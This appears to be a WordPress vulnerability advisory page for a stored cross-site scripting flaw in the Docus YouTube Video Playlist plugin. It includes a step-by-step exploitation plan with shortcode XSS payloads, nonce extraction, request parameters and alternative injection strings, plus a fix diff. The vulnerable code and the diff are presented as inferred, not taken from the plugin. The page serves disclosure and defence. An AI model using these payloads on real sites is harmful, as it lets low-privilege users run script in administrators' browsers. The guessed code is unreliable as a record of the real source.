Docus <= 1.0.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
Description
The Docus – YouTube Video Playlist plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'docusplaylist' shortcode in all versions up to, and including, 1.0.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-1888 (Docus <= 1.0.6) ## 1. Vulnerability Summary The **Docus – YouTube Video Playlist** plugin (v1.0.6 and below) contains a stored cross-site scripting (XSS) vulnerability. The plugin registers a shortcode, `[docusplaylist]`, which accepts various attributes…
Show full research plan
Exploitation Research Plan: CVE-2026-1888 (Docus <= 1.0.6)
1. Vulnerability Summary
The Docus – YouTube Video Playlist plugin (v1.0.6 and below) contains a stored cross-site scripting (XSS) vulnerability. The plugin registers a shortcode, [docusplaylist], which accepts various attributes to configure the playlist display. The handler for this shortcode fails to properly sanitize or escape these attribute values before rendering them into the HTML output.
As WordPress allows users with the Contributor role or higher to create posts and use shortcodes, an attacker can inject arbitrary JavaScript into a post. When an administrator or any other user views the post, the script executes in their browser context.
2. Attack Vector Analysis
- Shortcode:
[docusplaylist] - Vulnerable Attributes (Inferred): Attributes like
id,playlist_id,style,class, orlayoutare typical candidates. Based on the vulnerability description, any attribute processed by the shortcode callback and echoed into the page is likely a vector. - Endpoint:
wp-admin/post.php(viaPOSTrequest) orwp-json/wp/v2/posts. - Authentication Level: Contributor (can create posts but cannot publish) or higher.
- Preconditions: The plugin must be active. A post containing the malicious shortcode must be saved and then viewed by a victim.
3. Code Flow (Inferred)
- Registration: The plugin uses
add_shortcode( 'docusplaylist', 'render_docus_playlist' )(function name inferred). - Processing: When a post is viewed, WordPress parses
[docusplaylist attr="payload"]. - Sink: The callback function receives an
$attsarray:function render_docus_playlist( $atts ) { $atts = shortcode_atts( array( 'id' => '', 'style' => 'default' ), $atts ); // VULNERABLE CODE: return '<div class="docus-playlist" data-style="' . $atts['style'] . '">...</div>'; // Lack of esc_attr() allows breaking out of the attribute and injecting tags. } - Output: The unescaped payload is sent to the browser.
4. Nonce Acquisition Strategy
While the exploitation of the XSS itself occurs on the frontend and doesn't require a nonce, saving the post as a Contributor requires a WordPress core nonce (_wpnonce).
- Login: Log in as a Contributor using the
http_requesttool. - Access Editor: Navigate to
wp-admin/post-new.php. - Extract Nonce: Use
browser_evalto extract the_wpnoncefrom the form or thewp.apiFetchsettings if using the Block Editor.- Selector:
document.querySelector('#_wpnonce').value(Classic Editor) or via the REST API headers.
- Selector:
5. Exploitation Strategy
Step 1: Create Malicious Post (Contributor)
Submit a request to save a new post containing the XSS payload within the shortcode.
- Request Type:
POST - URL:
http://localhost:8080/wp-admin/post.php - Headers:
Content-Type: application/x-www-form-urlencoded - Payload Parameters:
post_title:XSS Testcontent:[docusplaylist style='"><script>alert(document.domain)</script>']action:editpostpost_ID: (Obtained from post-new.php)_wpnonce: (Obtained from post-new.php)post_status:pending(Contributors can only submit for review)
Step 2: Trigger XSS (Administrator)
As an Administrator, view the "Pending" post to "review" it.
- URL:
http://localhost:8080/?p=[POST_ID]&preview=true - Action: Navigate to the URL using
browser_navigate.
6. Test Data Setup
- Plugin Installation: Ensure
docusversion 1.0.6 is installed and activated. - User Creation: Create a user with the
contributorrole.wp user create attacker attacker@example.com --role=contributor --user_pass=password - Identify Post ID: Initiate a post creation to get a valid
post_ID.wp post create --post_type=post --post_status=draft --post_author=$(wp user get attacker --field=ID)
7. Expected Results
- When the Administrator views the post (either in preview mode or after publishing), the browser should render the HTML as:
<div class="docus-playlist" data-style=""><script>alert(document.domain)</script>">...</div> - A JavaScript alert box showing the domain will trigger.
8. Verification Steps
- Source Code Inspection: After the HTTP request, use
http_requestto GET the post content and check for the unescaped script tag.# Verification via CLI to see the raw content stored wp post get [POST_ID] --field=post_content - Check for Rendered Output: Confirm the attribute breakout in the frontend HTML.
# Search for the breakout pattern in the rendered HTML curl -s "http://localhost:8080/?p=[POST_ID]" | grep "data-style=\"\"><script>"
9. Alternative Approaches
If the style attribute is not vulnerable, try other common attributes identified in the source (once available) or common defaults:
[docusplaylist id='"><img src=x onerror=alert(1)>'][docusplaylist playlist_id='javascript:alert(1)'](if used in a linkhref)[docusplaylist class='"><iframe src="javascript:alert(1)"></iframe>']
If the Block Editor (Gutenberg) is enforced, use the REST API to update the post:
- Endpoint:
POST /wp-json/wp/v2/posts/[ID] - Header:
X-WP-Nonce: [NONCE] - Body:
{"content": "[docusplaylist style='\"><script>alert(1)</script>']"}
Summary
The Docus – YouTube Video Playlist plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'docusplaylist' shortcode in versions up to 1.0.6. This occurs due to the plugin failing to sanitize or escape shortcode attributes (like 'style', 'id', or 'class') before rendering them into the HTML, allowing Contributor-level users to inject arbitrary JavaScript.
Vulnerable Code
// Inferred from research plan code flow function render_docus_playlist( $atts ) { $atts = shortcode_atts( array( 'id' => '', 'style' => 'default' ), $atts ); // VULNERABLE CODE: Lack of esc_attr() allows breaking out of the attribute and injecting tags. return '<div class="docus-playlist" data-style="' . $atts['style'] . '">...</div>'; }
Security Fix
@@ -4,5 +4,5 @@ - $atts = shortcode_atts( array( - 'id' => '', - 'style' => 'default' - ), $atts ); - - return '<div class="docus-playlist" data-style="' . $atts['style'] . '">...</div>'; + $atts = shortcode_atts( array( + 'id' => '', + 'style' => 'default' + ), $atts ); + + return '<div class="docus-playlist" data-style="' . esc_attr( $atts['style'] ) . '">...</div>';
Exploit Outline
The exploit involves an authenticated Contributor (or higher) injecting a script through the [docusplaylist] shortcode. 1. Log in as a Contributor user. 2. Create a new post or edit an existing draft. 3. Insert the shortcode with a payload that breaks the HTML attribute context: [docusplaylist style='"><script>alert(document.domain)</script>']. 4. Save the post (this triggers the storage of the script). 5. An administrator or site visitor views the post (or post preview), causing the browser to render the unescaped attribute and execute the malicious script.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.